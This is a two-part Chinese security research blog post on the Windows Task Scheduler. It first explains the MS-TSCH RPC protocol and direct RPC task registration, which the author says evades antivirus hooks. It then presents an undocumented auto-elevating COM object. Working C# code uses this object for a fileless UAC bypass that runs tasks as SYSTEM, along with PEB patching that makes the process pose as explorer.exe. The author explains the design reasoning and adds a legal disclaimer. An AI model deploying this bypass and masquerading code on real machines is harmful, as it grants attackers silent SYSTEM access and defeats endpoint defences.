Advanced Windows TaskScheduler Playbook

Part.1 basic

0x00 前言

这个系列是关于Windows计划任务中一些更为本质化的使用,初步估计大概四章。

相比于工具文档或技术文章,我更倾向于将这几篇文章作为传统安全研究的思维笔记,一方面阐述研究过程与思维逻辑,另一方面记录研究成果落地为实战工具的过程。

武器化也好安全开发也罢,将理论基础作为依据,以研究成果作补充,从实战效果作证明的三板斧不能变。

希望在使用之余,能为大家带来研究思路上的启发。

0x01 现象

对Windows对抗有一定研究的,大多都接触过计划任务的相关知识。

作为文档化的组件之一,好处是有完整的官方文档https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page作为参考,例如我们可以几乎不费力气找到很常用的登录自启动代码https://docs.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--c---,稍作修改即可直接使用。

坏处是,文档太长了,面向对象的代码也太复杂了(相对于脚本尤其是安全工具而言)。以上文登录自启动的代码为例,十几个API调用,无故引入且无法去掉的taskschd.dll导入,为什么普通用户执行不成功,S-1-5-32-544是什么,TASK_LOGON_GROUP的定义又在哪?

好在我们是安全研究者,安全研究更擅长从结论/状况反推原因,现在来发挥所长:

我们知道计划任务可以通过UI或者命令行方式进行创建,其参数和选项大部分是对应的。

我们知道计划任务可以通过ITaskService接口或是TaskSchedulerClass类以及一系列对象进行操作。

我们知道计划任务可以导出一个XML,通过UI或是命令行均可再将其导入。

我们知道每一个计划任务文件都存放于%SystemRoot%\System32\Tasks目录下,内容和导出的XML完全相同。

所以,从安全研究的角度,这里可以提出一个问题:计划任务的本质是什么?是那些类,还是XML?

如果是类的话,那么XML在其中充当着什么角色,是如何解析的?

如果是XML的话,那么类充当的又是什么角色?

0x02 依据

虽然Windows提供了绝大部分符号,但在此时还没有调试Windows服务的必要。我们在横向移动的过程中依然会用到计划任务程序,那么首先抓个包:

看到了满屏的RPC调用,对其解密后可以看到以下信息:

我们看到了几个重点,首先调用号(Opnum)为1;其次RPC Stub Data即调用的参数中明显出现了新任务名称,以及随后的XML。

windows task scheduler rpc为关键字搜索,我们可以找到MS-TSCH协议https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/21e8e86e-ee5a-469d-917f-28a41f3c25a4,依文档所述,这是建立在RPC协议之上、用于远程对计划任务进行增删改查的接口,同时,我们也看到了熟悉的ITaskSchedulerService

参考ITaskSchedulerService SchRpcRegisterTask (Opnum 1)https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/849c131a-64e4-46ef-b015-9d4c599c5167一章,对比参数可基本进行确认:

最后,以impacket作为佐证,众所周知atexec.py采用计划任务方式进行利用,其中创建远程计划任务同样通过SchRpcRegisterTask调用:

于是,我们得到了一个理论依据:微软通过MS-DCERPC协议,在上层构建了MS-TSCH协议,该协议通过XML作为参数,实现了对计划任务的管理。

0x03 本质

有了MS-TSCH作为理论依据,让我们换个思路,尝试从设计者角度进行思考:

(现在,你是一名架构师了)

假设现在一无所有,你会如何设计一个计划任务程序?

首先,所有人都可能调用计划任务,意味着进程应当常驻后台;低权限用户并不能以高权限用户身份进行操作,所以进程需要高权限,并实现模拟机制;高权限后台进程要考虑到特权提升的问题,所以需要存在合理的鉴权机制;计划任务不涉及硬件管理,也并非系统运行所必需,所以无需进入内核。

其次,接受其它进程调用需要有一个合理的通信机制。Windows进程间通信方式众多,出于鉴权考虑,命名管道和alpc均可作为可选项;在易用性方面,alpc和命名管道均有RPC上层封装可用;在性能方面,alpc是毫无疑问的首选(详参微软官方博客alpcport相关)。

之后,出于管理需要,需要支持远程调用。考虑到稳定性,远程通信的方式大多建立在TCP上层;考虑到防火墙与安全性因素,支持加密的HTTPS/SMB/RPC/DCOM是几个可选项;鉴于远程管理往往有着最小配置与降级原则,RPC由于可独立配置、能够通过ncacn_np使用SMB协议通信且不受额外选项干扰,在此优于DCOM;鉴于API统一的原则,统一了本地通信与远程通信的RPC是唯一可选项。

最后,考虑到拓展的需要,需要可拓展的存储方式。考虑到MS-TSCH至少有着十五年的历史,采用XML兼顾可读性与拓展性无可厚非。

于是,有了基于MS-DCERPC与直接XML传递的MS-TSCH协议。

在微软的实现中,Schedule服务以SYSTEM权限运行,同时拥有SeImpersoante、SeAssignPrimaryToken等特权提供不同用户权限的切换。服务通过注册ncalrpc、ncacn_np(atsvc)以及向epmapper注册三种方式公开了本地与远程的RPC调用端点(EndPoint),为调用方提供MS-TSCH协议规定的服务。

好的,我们有了一个通过XML进行通信、且会进行透明鉴权的计划任务服务。

现在,把思路再次转回调用者。

(现在,你是一名程序员。这个功能很重要,怎么实现没人管,明天上线)

不可否认,对照模板编写XML这一做法,对于懒人(我特指初级代码开发人员,无贬义)固然有着无以伦比的方便。但对接过API的都知道,世界上第一痛苦的API就是调用万能接口,第二绝对是通过XML进行数据传递。

MS-TSCH出生在至少十五年前,很不幸,两毒俱全。来想象一下你是个防守方,现在应用一个临时缓解措施,需要建立并下发以下计划任务监控:当事件ID 1234触发时,执行powershell命令调用某个API。

想到要看协议文档就很头疼对吧,想到要写C来调用RPC就更头大了对吧。

所以微软通过COM,在Taskschd.dll内对MS-TSCH进行面向对象封装,其CLSID0F87369F-A4E5-4CFC-BD3E-73E6154572DD,并提供了一系列帮助接口提供Trigger、Action、Folder的抽象。

为了支持脚本功能,为这个类注册了名为Schedule.ServiceProgId,并实现了IDispatch接口,使得VBS/Powershell等脚本语言能够进行快速调用。

这些是纯粹的封装与帮助类,和实际的协议完全无关。

到这里,TaskScheduler服务(Service或RPC EP)的本质也就呼之欲出:鉴权,接收一个XML(无论是帮助类生成的还是自己构建的),注册到自己业务环境内。

从这个角度看来,计划任务的本质和传统WEB并没有任何区别,甚至可以直接用下面这张图进行类比:

RPC对应HTTP,OPNUM对应Action/Method,XML对应Body。语法、语义、时序完全对应,是的,完美。

实际上,除却纯粹二进制的领域,至少一半的Windows组件能够用这样的方式进行类比。

最后,我们把思维转回安全角度。

(放开我,我是信息安全工程师.jpg)

从攻击者视角看,由于绝大部分文档都仅仅讲述对COM API的调用,进而可猜想绝大部分防御措施会针对Taskschd.dll,通过RPC进行绕过可能是一个可行的突破方案。

而从防御者视角看,绕过Taskschd.dll这一wrapper可能会对自身防御体系造成绕过甚至击穿(这里“击穿”二字绝非危言耸听)。

0x04 COM

了解到部分本质之后,我们开始进行更为简洁,更贴近于安全思维的调用。

(不要忘记,我们已经把思维转换回了安全角度)

在参考c++版本示例代码的时候,我们可以看到微软同时提供了XML参考:https://docs.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--xml-,并提示了可以使用ITaskFolder::RegisterTask通过XML直接注册计划任务。

随后调用ITaskFolder::RegisterTask来替代之前的繁琐方式(参考代码依然来自MSDN):

    ITaskFolder* pRootFolder = NULL;
    hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
    if (FAILED(hr))
    {
        printf("Cannot get Root folder pointer: %x", hr);
        pService->Release();
        CoUninitialize();
        return 1;
    }
    IRegisteredTask* pRegisteredTask = NULL;
    pRootFolder->RegisterTask
    (
        _bstr_t(wszTaskName),
        _bstr_t("xml"),
        TASK_CREATE_OR_UPDATE,
        _variant_t(),
        _variant_t(),
        TASK_LOGON_INTERACTIVE_TOKEN,
        _variant_t(),
        &pRegisteredTask
    );

0x05 RPC

同样的,MS-TSCH 6.3 Appendix A.3: SchRpc.idlhttps://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/96c9b399-c373-4490-b7f5-78ec3849444e提供了完整的IDL,通过编译IDL即可直接进行简单的RPC调用:

RpcTryExcept
  {
    wchar_t* pActualPath = 0;
    const wchar_t* xml = L"<!--snipped xml-->";
    _TASK_XML_ERROR_INFO *errorInfo = 0;
    SchRpcRegisterTask
    (
      schrpc_binding_handle,
      L"\\Test Task",
      xml,
      6,
      0,
      0,
      0,
      0,
      &pActualPath,
      &errorInfo
    );
  }
RpcExcept(1)
  {
    DWORD code = RpcExceptionCode(); 
    printf("RPC Exception %d\n", code);
  }
RpcEndExcept;

至少在本文发布的时候,利用直接RPC调用可以绕过相当一部分防护软件对计划任务自启动的拦截。

0x06 总结

本章从协议层面,讲述了Windows计划任务程序从设计、协议、实现均基于XML格式这一基础事实,并以此为基础介绍了更为简单方便的调用。

基础之所以是基础,在于后续相关知识与应用一定会与其具备强关联,而绝非单纯的浅显易懂。

我一直认为,编程思想与设计模式才是最基础的安全技术。在这冗长而无趣的第一章中,我们通过面向对象中抽象封装这两大基础概念,以及背后隐藏的Transport/Channel这个被微软大肆使用的名词(相信如果搜索了上面几节其中的关键字,并且看了原文就一定有印象)来从侧面分析微软的设计思想,从而能够更好地理解组件的运作方式,最终找到其中的薄弱点,并加以利用。

后续几章无一例外,均将以此为基础,来讲几个有趣的应用案例。

Part.2 from COM to UAC bypass and get SYSTEM dirtectly

捉虫:前篇文章0x03本质一节关于COM封装类的CLSID有误,应为0F87369F-A4E5-4CFC-BD3E-73E6154572DD

公众号无法修改,在此记录并望周知。

从本文起,专有名词将以官方英文原文着重标记。

0x00 思考

让我们上一章通过对MS-TSCH进行分析理解,大致明确了微软关于计划任务程序的设计思路:以文档化XML格式作为描述、RPC协议为基础,在公开函数式RPC调用的同时,通过COM Helper实现面向对象。

编程思想与设计模式才应当是最基础的安全技术,微软在计划任务程序设计中明显体现了一个进化的思想,从面向过程进化到面向对象,这个过程就是常说的封装

让我们继续用常见的Web角度进行类比,可以理解为:

PHP5进化至PHP7。
PHP/ASP进化至Java/.Net。
JS进化至TS/ES6。

(在开发与设计层面,一些思想是统一且几乎不会改变的)

和渗透时常用的脚本或工具不同,在一个完整的系统中,无论是一套封装后的组件,或是一组完善的协议实现,其本身并没有实现之外的任何意义。只有在使用者(或称“调用方”)根据某些业务逻辑进行调用,随之多个完整的业务功能按照相关逻辑组成一套系统,此时的组件才称得上“有意义”。

(如果你认同这个观点,那么所看到的每一个渗透技巧事件追踪漏洞分析都能找到例子进行类比。毋庸置疑,每一个

计划任务程序作为文档化组件之一,我们当然可以直接根据文档进行调用。无论是直接利用十五年前微软提供的C/C++或者VBS,或是进一步利用十四年前vs2008附带的的C# Interop,再或是利用十年前用烂的的PowerShell都能够直接产生一些红队(Redteam)武器化(Weaponize)渗透测试工具(Pentesting Tools)

感谢微软提供了丰富的API为渗透测试带来方便,但回归研究者思路,我们不该忽略这一点:计划任务作为重要系统组件之一,被广泛应用于系统多个功能模块中。

所以,让我们来思考一组问题:

有哪些自带功能调用了计划任务?
这个功能可以起到什么作用?
这个功能是否进行了组件化,即可以通过某种方式进行调用?
是否存在利用或滥用的可能?

0x01 基础

在回答这个问题之前,让我们重温COM基础。

微软提供了非常完善的基础知识文档https://docs.microsoft.com/en-us/windows/win32/com/com-fundamentals,以及配套的示例代码,这些文档和代码的历史至少可以追溯至Windows 2000的时代。

(我不想在查找资料上花太多篇幅。根据个人经验,花费两天时间,拿出挖洞找链的劲头,配合写论文找参考资料的态度,将原文从头到尾啃一遍,比看十篇技术文章都要有用的多。包括你在看的这篇

参考文档顺便查漏补缺,我们重新回忆一下最为基础的知识点:

1.在设计层面,COM模型分为接口实现

例如计划任务示例代码中的ITaskService

2.区分COM组件的唯一标识为Guid,分别为针对接口的IID(Interface IDentifier)与针对类的CLSID(CLaSs IDentifier)

例如CLSID_TaskScheduler定义为0F87369F-A4E5-4CFC-BD3E-73E6154572DD

3.COM组件需要在注册表内进行注册才可进行调用。通常情况下,系统预定义组件注册于HKEY_LOCAL_MACHINE\SOFTWARE\Classes,用户组件注册于HKEY_CURRENT_USER\SOFTWARE\ClassesHKEY_CLASSES_ROOT为二者合并后的视图,在系统服务角度等同于HKEY_LOCAL_MACHINE\SOFTWARE\Classes

例如计划任务组件的注册信息注册于HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}

4.Windows最小的可独立运行单元是进程,最小的可复用的代码单元为类库,所以COM同样存在进程外(In-Process)进程内(Out-Of-Process)两种实现方式。多数情况下,进程外COM组件为一个exe,进程内COM组件为一个dll。

例如计划任务的COM对象为进程内组件,由taskschd.dll实现。

5.为方便COM组件调用,可以通过ProgId(Programmatic IDentifier)CLSID指定别名。

例如计划任务组件的ProgId为Schedule.Service.1

6.客户端调用CoCreateInstanceCoCreateInstanceExCoGetClassObject等函数时,将创建具有指定CLSID的对象实例,这个过程称为激活(Activation)

例如微软示例代码中的CoCreateInstance(CLSID_TaskScheduler,....)

7.COM采用工厂模式对调用方与实现方进行解耦,包括进程内外COM组件激活、通信、转换,IUnknown::QueryInterfaceIClassFactory始终贯穿其中。

例如微软示例代码中的一大堆QueryInterface

现在,我们有了对COM的基本认知,接下来要在一个庞大、复杂的操作系统之中,跟踪一个微小的COM对象调用了。无论多么复杂的系统,归根结底由人开发,由编译器编译。我们知道Windows的编译器为VS,语言为微软风格的C/C++,开发者为三哥

那么来到思考时间:你是一名三哥程序猿,恒河水使你的代码和你的身体一样无比健壮。现在,你要用VS建立一个C/C++项目,里面调用计划任务做一些事。

-你会怎么写?

-#include <taskschd.h>

-为什么?

-“标准”示例如此。

很好,我们得到了第一种方式:

在所有系统组件中搜索字符串形式的0F87369F-A4E5-4CFC-BD3E-73E6154572DD,以及其二进制表现形式。

然后重新把思维切换回安全领域,暂时客串一番样本分析:你是一名应急响应工程师,陆莲花胃脑虫被你里里外外反反复复上上下下肆意玩弄得不成马形。现在你出台到了客户内网分析一批恶意样本,已知其中某样本会创建计划任务,在没自动化沙箱的情况下怎样能把它揪出来进行后续分析?

-那TM还用说?ProcMon开起来、某绒刀砍它。

于是我们有了第二种方式:

跟踪注册表HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32的读取,通过日志、Hook、劫持等等方式获取调用栈。

最后,把思维切到我们最熟悉的安全开发/红蓝对抗:现在洋大人发了个框架,能随意拓展巨牛逼,能过宇宙杀软加计划任务巨好用,还有源码能抄简直是洋菩萨。唯一一个问题:不知道在哪调了计划任务,就看到一堆配置文件一堆设计模式。

-直接扔到IDE里面搜CLSID、IID、ProgId反过去找引用啊

我们拿到了第三种方式:

考虑到工厂与动态调用,在配置文件等静态数据中搜索0F87369F-A4E5-4CFC-BD3E-73E6154572DD,以及其二进制表现形式。

0x02 发现

现在,我们有三种可行方案来进行跟踪了。

思考一下三种方式的优劣:第二种动态追踪的方式能够直观的找到调用方,但一个前提是必须存在活动的调用。
计划任务功能并不是一个需要频繁调用的功能,Windows的复杂性也决定了无法手动访问每一个功能,所以不妨暂时搁置。

第一三种均可归结为静态查找,考虑到我们研究的目标基于COM,而COM绝大多数配置基于注册表,所以首先在注册表这个最大的公共配置文件内进行搜索,可以得到如图所示结果:

C:\>reg query HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0} /s

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}
    (默认)    REG_SZ    Virtual Factory for MaintenanceUI
    AppId    REG_SZ    {A6BFEA43-501F-456F-A845-983D3AD7B8F0}
    LocalizedString    REG_EXPAND_SZ    @%SystemRoot%\System32\MaintenanceUI.dll,-1

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\Elevation
    Enabled    REG_DWORD    0x1

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\InProcServer32
    (默认)    REG_EXPAND_SZ    %SystemRoot%\System32\shpafact.dll
    ThreadingModel    REG_SZ    Apartment

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\VirtualServerObjects
    {0f87369f-a4e5-4cfc-bd3e-73e6154572dd}    REG_SZ

我们发现了一个可疑的东西:

一个由%SystemRoot%\System32\shpafact.dll实现的未文档化COM组件A6BFEA43-501F-456F-A845-983D3AD7B8F0
一个未文档化的自定义注册表项VirtualServerObjects,其值包含计划任务组件CLSID。
Elevation@Enabled=1,意味着可以进行UAC自动提升。

接下来要做的,就是对这个组件进行分析,找到其设计层面的意义,以及探寻是否存在利用的可能。

0x03 分析

接下来,我们开始分析COM所实现功能,以及是否可以利用。

%SystemRoot%\System32\shpafact.dll代码量极少,让我们用五分钟时间进行快速分析。首先根据https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject,COM通过固定导出函数DllGetClassObject创建实例,shpafact.dll创建了CClassFactory作为工厂类:

CClassFactory作为工厂支持创建多个对象,我们的目标组件A6BFEA43-501F-456F-A845-983D3AD7B8F0并非已知的两个CLSID之一,将进入最下方CElevatedFactoryServer::CreateInstance分支:

CElevatedFactoryServer::CreateInstance方法最终将直接返回CElevatedFactoryServer对象实例:

CElevatedFactoryServer对象继承自IUnknown,且仅有一个对象方法ServerCreateInstance

ServerCreateInstance方法签名为HRESULT thiscall ServerCreateInstance(REFCLSID,REFIID,PVOID*),当REFCLSID参数已在VirtualServerObjects注册表项注册的情况下,将直接创建指定CLSID的对象:

根据QueryInterface方法可得到IID_ElevatedFactoryServer为804bd226-af47-4d71-b492-443a57610b08

此时我们拿到了COM调用必需的CLSIDIID虚函数表方法签名,稍作整理即可得到以下IDL

[uuid(804bd226-af47-4d71-b492-443a57610b08)]
interface IElevatedFactoryServer : IUnknown {
    HRESULT _stdcall ServerCreateInstance(REFCLSID rclsid,REFIID riid,LPVOID* ppvobj);
};

[uuid(A6BFEA43-501F-456F-A845-983D3AD7B8F0)]
coclass ElevatedFactoryServer {
    interface IElevatedFactoryServer;
};

0x04 调用

获取到IDL之后,直接使用合适的语言进行调用即可,例如转换为C#等价Interop代码:

[Guid("804bd226-af47-4d71-b492-443a57610b08")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IElevatedFactoryServer
{
  [return: MarshalAs(UnmanagedType.Interface)]
  object ServerCreateElevatedObject([In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);
}

我们需要创建提升后的(Elevated)COM对象,所以必须使用CoGetObject结合Elevation Moniker进行激活:

BIND_OPTS3 opt = new BIND_OPTS3();
opt.cbStruct = (uint)Marshal.SizeOf(opt);
opt.dwClassContext = 4;
var srv = CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ref opt, new Guid("{00000000-0000-0000-C000-000000000046}")) as IElevatedFactoryServer;

随后调用ServerCreateElevatedObject方法获取ITaskService实例:

var svc = srv.ServerCreateElevatedObject(new Guid("{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}"), new Guid("{00000000-0000-0000-C000-000000000046}")) as ITaskService;

这个ITaskService实例实际上在提升后的进程中运行,所以可使用TASK_RUNLEVEL_HIGHEST标记创建以完整令牌运行的计划任务,这等价于将xml文件Task\Principals\Principal\RunLevel的值指定为HighestAvailable

<Principals>
    <Principal id="Author">
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
</Principals>

使用此xml进行注册:

svc.Connect();
var folder = svc.GetFolder("\\");
var task = folder.RegisterTask("Test Task", xml, 0, null, null, TaskLogonType.InteractiveToken, null);
task.Run(null);

以及不要忘记对当前进程PEB进行Patch:

var fake = "explorer.exe";
var fake2 = @"c:\windows\explorer.exe";
var PPEB = RtlGetCurrentPeb();
PEB PEB = (PEB)Marshal.PtrToStructure(PPEB, typeof(PEB));
bool x86 = Marshal.SizeOf(typeof(IntPtr)) == 4;
var pImagePathName = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x38 : 0x60));
var pCommandLine = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x40 : 0x70));
RtlInitUnicodeString(pImagePathName, fake2);
RtlInitUnicodeString(pCommandLine, fake2);

PEB_LDR_DATA PEB_LDR_DATA = (PEB_LDR_DATA)Marshal.PtrToStructure(PEB.Ldr, typeof(PEB_LDR_DATA));
LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRY;
var pFlink = new IntPtr(PEB_LDR_DATA.InLoadOrderModuleList.Flink.ToInt64());
var first = pFlink;
do
{
    LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
    if (LDR_DATA_TABLE_ENTRY.FullDllName.Buffer.ToInt64() < 0 || LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.ToInt64() < 0)
    {
        pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
        continue;
    }
    try
    {
        if (Marshal.PtrToStringUni(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer).EndsWith(".exe"))
        {
            RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x24 : 0x48)), fake2);
            RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x2c : 0x58)), fake);
            LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
            break;
        }
    }
    catch { }
    pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
} while (pFlink != first);

编译执行,不出意外的话我们将以提升后的身份运行xml中指定的命令(这里是cmd):

至此,我们成功的发现了一个未公开的UAC Bypass

但这并不是结束。我们前面提到了修改XML文件Principal节点的值来注册以完整令牌运行的计划任务,而这个XML节点架构定义记录于MS-TSCH 2.5.6 Principal Schema Parthttps://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/b9420a4c-fe40-45a0-ae85-2d57e051409b

根据文档所述,Principal节点可包含子节点UserId,用于提供计划任务执行时的用户身份信息,其格式可以为用户名SIDUPNFQDN

所以我们可以在XML中指定UserIdSYSTEM

<Principals>
    <Principal id="Author">
      <UserId>SYSTEM</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
</Principals>

随后,我们指定的命令将直接以SYSTEM身份运行:

即:我们通过一次无文件UACBypass直接获取到SYSTEM权限。

0x05 原理

至此,单纯的“安全研究”至武器化落地已经结束了。

但从纯粹知识的领域,这还不够。

请把思维暂时回溯至0x01 基础一节,重新打开MSDN,对比完整的目标注册表项,在最后来为本文补充一个最为重要的理论依据。

我们知道经过UAC提升的COM对象需要使用CoGetObject函数,结合Elevation Moniker进行激活,这个行为记录在https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker

参考文章代码,我们注意到在微软的示例中采用CLSCTX_LOCAL_SERVER作为激活上下文标记,这表示要求DCOMLaunch创建一个新的进程外COM对象,A6BFEA43-501F-456F-A845-983D3AD7B8F0对象仅配置了InProcServer32,这将导致代理激活(Surrogate Activation)https://docs.microsoft.com/en-us/windows/win32/com/registering-the-dll-server-for-surrogate-activation

关于代理激活有两个重要的点:首先从安全研究角度,配置了APPID的代理激活往往存在自定义权限检查。

参考文档https://docs.microsoft.com/en-us/windows/win32/com/launchpermissionhttps://docs.microsoft.com/en-us/windows/win32/com/accesspermission,默认隐式权限检查由注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@LaunchPermissionHKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@AccessPermission共同决定,其值为二进制格式表示的安全描述符Security Descriptor(SD) binary form

所以我们需要确认能够进行调用。二进制格式的安全描述符并非可读格式,采用Powershell进行解析后输出:

$x=get-itemproperty 'hklm:\software\classes\appid\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}'
(new-object System.Security.AccessControl.RawSecurityDescriptor($x.LaunchPermission,0)).DiscretionaryAcl|fl
(new-object System.Security.AccessControl.RawSecurityDescriptor($x.AccessPermission,0)).DiscretionaryAcl|fl

将得到类似下面的结果:

BinaryLength       : 20
AceQualifier       : AccessAllowed
IsCallback         : False
OpaqueLength       : 0
AccessMask         : 3
SecurityIdentifier : S-1-5-4
AceType            : AccessAllowed
AceFlags           : None
IsInherited        : False
InheritanceFlags   : None
PropagationFlags   : None
AuditFlags         : None

参考https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sidsS-1-5-4对应NT AUTHORITY\INTERACTIVE,任何通过交互式登录的用户都将授予该组身份,通过whoami /groups也能够确认这一点:

whoami /groups

组信息
-----------------

组名                                   类型   SID          属性
====================================== ====== ============ ==============================
Everyone                               已知组 S-1-1-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户和管理员组成员    已知组 S-1-5-114    只用于拒绝的组
BUILTIN\Administrators                 别名   S-1-5-32-544 只用于拒绝的组
BUILTIN\Performance Log Users          别名   S-1-5-32-559 必需的组, 启用于默认, 启用的组
BUILTIN\Users                          别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\INTERACTIVE               已知组 S-1-5-4      必需的组, 启用于默认, 启用的组
CONSOLE LOGON                          已知组 S-1-2-1      必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users       已知组 S-1-5-11     必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization         已知组 S-1-5-15     必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户                  已知组 S-1-5-113    必需的组, 启用于默认, 启用的组
LOCAL                                  已知组 S-1-2-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication       已知组 S-1-5-64-10  必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Mandatory Level 标签   S-1-16-8192

所以,作为交互式登录的我们才有权限激活以及调用提升后的COM组件。

其次,从程序设计角度,我们查看关于COM Proxy的定义。按照https://docs.microsoft.com/en-us/windows/win32/com/proxy所述,代理对象驻留在调用方进程,充当远程对象的代理,在调用方看来,对代理对象的调用和直接调用真实对象并无区别。

这是一个完整的对象代理,应用且遵循代理模式,即代理对象的表现形式暴露方法调用方式与真实对象完全相同

从Web安全的角度,可以理解为ysoserial里面到处都在用的InvocationHandlerUtil返回的那个泛型对象,或是你用RetransformAgent劫持Tomcat FilterSpring Controller之后,为了不影响业务而做的那个Wrapper;从开发的角度,等同于你用过的任何AOP。

所以我们在0x04 调用所进行的操作可以翻译为:

1.我们要求COM激活器绑定至MonikerElevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}的对象,由于激活上下文标记为CLSCTX_LOCAL_SERVER,本地COM客户端(combase.dll)将请求DCOM服务,发送一个进程外(Out-Of-Process)提升的(Elevated)激活请求。
2.DCOM根据组件注册信息(registration info)激活上下文(Activation Context),确保A6BFEA43-501F-456F-A845-983D3AD7B8F0对象可以提升(实际上这里将调用AppInfo服务),且当前用户具备激活权限(存在包含已启用组S-1-5-4显式DACL)。
3.DCOM服务在新的(new)其他的(others)提升后的(elevated) 进程中进行激活(activation)操作,创建真实对象(Real Object)
4.DCOM通知本地COM客户端激活成功(HRESULT=S_OK),本地客户端在当前进程创建真实对象的代理(Proxy)作为实际通信目标。
5.当前进程在代理对象上调用实例方法,该方法实际上由远程对象进行处理。
6.根据方法签名,调用将返回新的ITaskService对象引用。由于ITaskService对象未实现额外的编组(Marshalling)接口,COM进行默认封装,返回远程对象引用(Remote Object Reference,ObjRef)
7.本地客户端在当前进程以代理对象(Proxy Object)形式创建ITaskService对象的代理(Proxy)
8.根据MSDN所述,对象远程引用在调用方(caller)等于真实对象;根据CLSID,真实对象是一个ITaskService
9.我们在未提升进程(unelevated process)中,获取到了在提升后进程(elevated process)ITaskService对象代理,任何对代理对象的操作都将无条件转发至真实对象。
10.创建带有TASK_RUNLEVEL_HIGHEST标记或其它任意用户(例如SYSTEM)运行的计划任务。完成UAC绕过。

如果你有耐心看到这里,请务必牢牢记住代理模式这个名词与其含义。我们在本文中见证了一个实际环境中的代理模式套娃,要理解这种模式背后的设计理念和思想,这个思想以后会用在你开发的每行代码、审计的每个功能以及测试的每个业务上。

到这里,我们可以回答0x00中提出的问题了:

1.确实存在一个未文档化的COM,能够根据我们可控制的方式调用计划任务组件。
2.这个组件配置了UAC提升,其通过默认COM代理,在提升后的代理进程内,根据已知的白名单CLSID,创建进程内COM对象;随后通过COM代理直接返回至调用方,供未提升的进程进行调用。
3.由于白名单中有且只有0f87369f-a4e5-4cfc-bd3e-73e6154572dd即计划任务(TaskService),导致未提升的进程可获取一个提升后的TaskService对象
4.通过调用此对象即可创建以完整权限运行的计划任务,实现UAC ByPass。

0x06 总结

这篇文章可以认为是从理论基础发散并落地到实战应用的开端。以前一篇微软文档化的MS-TSCH协议与XML作为基础,结合COM基础知识作为补全;随后发掘出有价值的研究目标,作为具有实战价值的工具与代码实现落地;最终我们重新梳理总结相关知识点,借本次这个实例重温关于COM诸多知识细节,并在实践中一一验证,实现“知识闭环”。

文章涉及的相关代码可以在https://github.com/zcgonvh/TaskSchedulerMisc/找到。虽然能够直接编译执行,但我依然不建议直接拿来使用,这对于能力提升并没有任何好处。
(另:请遵守刑法、网络安全法等相关规定,我只是单纯分享知识,任何使用不当造成的后果请自行承担)
请尊重开源协议 ,抄代码做“武器化”挺无聊的不是么)

当然,这篇文章并不全面,我们只是单纯的根据注册表,然后根据其功能找到了一个UAC Bypass。

而其他的多个角度,无论是继续进行0x01最后对计划任务的跟踪,或是重新对UAC乃至COM进行挖掘,从研究的角度看都有很多细节值得发散开来。

限于篇幅,一些拓展性质的思考将在后续某些系列中进行讲解。

最后,还是那句话,文章的目的是传递知识,论文形式的总结除了“让文章看起来丰满”之外毫无意义。安全研究这种强知识导向的领域没有取巧,只有知识积累才是串联一切的根本,最终厚积薄发乃至蜕变。

希望这篇文章能在技术点之外为各位带来启发。

To be continued....